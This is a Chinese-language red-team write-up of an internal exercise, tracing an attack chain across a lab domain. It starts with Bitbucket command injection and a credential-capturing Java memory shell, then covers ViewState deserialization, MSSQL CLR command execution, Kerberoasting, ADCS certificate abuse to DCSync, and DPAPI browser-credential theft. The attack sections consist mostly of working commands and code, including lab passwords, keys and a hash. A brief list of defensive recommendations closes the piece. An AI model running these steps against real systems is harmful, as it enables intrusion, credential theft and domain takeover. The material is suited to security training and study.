记一次团队内部的红蓝对抗-攻击篇
字数 1597 2025-08-25 22:58:56
红蓝对抗实战教学:从Bitbucket到域渗透的完整攻击链分析
1. 环境概述
1.1 目标网络拓扑
bitbucket 192.168.112.159 [7990]
web01 192.168.112.101 [80]
sql01 192.168.112.201 [1433]
adcs 192.168.112.230 [135,445,80]
dc01 192.168.112.100 [135,445,389,88]
dashe-pc 192.168.112.50 [445,135]
1.2 攻击路径
- Bitbucket (CVE-2022-36804) → JavaAgent内存马
- Web01 (.NET ViewState反序列化)
- SQL01 (MSSQL CLR提权)
- ADCS (CVE-2022-26923域提权)
- dashe-PC (DPAPI解密浏览器凭据)
2. Bitbucket初始入侵
2.1 CVE-2022-36804利用
漏洞描述:Bitbucket Server和Data Center的命令注入漏洞,允许经过身份验证的攻击者通过构造的HTTP请求执行任意命令。
利用步骤:
- 使用base64编码绕过回显截断限制:
echo "whoami" | base64 - 执行base64解码后的命令:
echo "d2hvYW1p" | base64 -d | bash
2.2 JavaAgent内存马植入
技术选择:由于无法直接修改前端文件,选择从内存角度hook认证请求。
实施步骤:
-
修改ZhouYu项目(https://github.com/7BitsTeam/LearningAgentShell/tree/main/ZhouYu-changed):
- 调整hook函数列表以匹配Bitbucket认证流程
- 修改插入的代码以捕获明文凭据
-
文件上传技巧:
- 将8MB的agent-1.0-SNAPSHOT.jar文件base64编码后切片
- 通过2000+个GET请求上传切片
- 服务器端重组:
sed ":a;N;s/\n//g;ta" /var/tmp/1.txt > /var/tmp/2.txt sed -i "s/*/+/g" /var/tmp/2.txt cat 2.txt | base64 -d > /tmp/agent-1.0-SNAPSHOT.jar
-
使用Attach工具注入Java进程:
import com.sun.tools.attach.VirtualMachine; // ... 省略其他import public class Attach { public static void main(String[] args) throws Exception { VirtualMachine vm; List<VirtualMachineDescriptor> vmList; String agentFile = new File("/tmp/agent-1.0-SNAPSHOT.jar").getCanonicalPath(); // ... 查找Bitbucket进程并注入 } }
3. Web01横向移动
3.1 .NET ViewState反序列化
发现:从源码中获取web.config中的ViewState密钥:
<add connectionString="Server=192.168.112.201;Database=test;User ID=sa;Password=Fucksqlserver@2022" />
利用工具:ysoserial 1.35版本
生成payload:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c echo 123 > c:\inetpub\wwwroot\1.aspx" \
--path="/Account/login.aspx" --apppath="/" \
--decryptionalg="AES" \
--decryptionkey="9421E53E196BB56DB11B9C25197A2AD470638EFBC604AC74CD29DBBCF79D6046" \
--validationalg="SHA1" \
--validationkey="86B6275BA31D3D713E41388692FCA68F7D20269411345AA1C17A7386DACC9C46E7CE5F97F556F3CF0A07159659E2706B77731779D2DA4B53BC47BFFD4FD48A54"
绕过EDR:修改TypeConfuseDelegateGenerator.cs,将命令执行改为文件上传功能。
4. SQL Server提权
4.1 CLR提权技术
步骤:
-
启用CLR:
sp_configure 'clr enabled', 1 RECONFIGURE ALTER DATABASE test SET TRUSTWORTHY ON; -
编译恶意DLL:
using System; using System.Data; using System.Data.SqlClient; // ... 省略其他using public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void ExecCommand (string cmd) { SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd)); } // ... 省略实现细节 }编译命令:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library helloworld.cs -
加载并执行:
CREATE ASSEMBLY [MSSQL_ShellcodeLoader] AUTHORIZATION [dbo] FROM [0x...] WITH PERMISSION_SET = UNSAFE; CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [MSSQL_ShellcodeLoader].[StoredProcedures].[ExecCommand] exec ExecCommand "whoami"
4.2 Kerberoasting攻击
实现:
- 修改SharpRoast项目为CLR兼容版本
- 加载必要依赖:
CREATE ASSEMBLY [system.directoryservices] FROM 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\system.directoryservices.dll' WITH PERMISSION_SET = UNSAFE; CREATE ASSEMBLY [system.identitymodel] FROM 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\system.identitymodel.dll' WITH PERMISSION_SET = UNSAFE; - 执行攻击获取SPN票据
破解票据:
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
5. ADCS域提权 (CVE-2022-26923)
5.1 漏洞利用步骤
-
创建恶意机器账户:
certipy account create -dc-ip 192.168.112.100 -u "roast" -p "Sysadmin#2023" -user pwntest -dns dc01.test.local -
申请DC证书:
certipy req -u "pwntest$" -p "nVi3l2cMiXECZ0pP" -ca TEST-ADCS-CA -template Machine -target 192.168.112.230 -dc-ip 192.168.112.100 -
获取DC哈希:
certipy auth -pfx dc01.pfx -dc-ip 192.168.112.100 -
DCSync获取域管哈希:
secretsdump.py 'test.local/dc01$@192.168.112.100' -hashes :d9c6c7a01ffc61f41d88ff7268b084d5
6. 浏览器凭据窃取
6.1 DPAPI解密技术
-
获取域备份密钥:
SharpDPAPI.exe backupkey /server:dc01.test.local /file:key.pvk -
本地解密Chrome数据:
SharpChrome.exe logins /pvk:key.pvk -
伪造MasterKey(当无法直接执行命令时):
mimikatz # dpapi::masterkey /in:1e366a60-0518-4f7c-abdb-65eb5d35bdf5 /pvk:key.pvk dpapi::create /guid:{1e366a60-0518-4f7c-abdb-65eb5d35bdf5} /key:273d524993beaeced20b4a406a91a706deac9bb343d730d8c8da15dab500ab51b298545607602cd71a88d50c0abe87d6e6de44668b6176ef71e731a275a89117 /password:123456 /protected -
导入Chrome Cookie:
- 使用CookieEditor插件
- 注意ProtonMail的多个相关域:
account.proton.me account-api.proton.me mail.proton.me
7. 关键工具与资源
- JavaAgent内存马:https://github.com/7BitsTeam/LearningAgentShell/tree/main/ZhouYu-changed
- ViewState生成器:ysoserial 1.35
- CLR提权模板:自定义C#代码
- Kerberoasting工具:SharpRoast修改版
- ADCS利用工具:certipy
- DPAPI工具:SharpDPAPI、mimikatz
- 浏览器数据提取:HackBrowserData
8. 防御建议
-
Bitbucket:
- 及时修补CVE-2022-36804
- 监控Java进程的Agent加载行为
-
.NET应用:
- 定期轮换ViewState密钥
- 禁用不必要的序列化功能
-
SQL Server:
- 限制CLR使用
- 监控异常存储过程创建
-
AD环境:
- 修补CVE-2022-26923
- 监控异常证书申请
- 实施Kerberoasting防护
-
终端防护:
- 保护DPAPI主密钥
- 监控浏览器数据导出行为
- 实施MFA防御凭据重用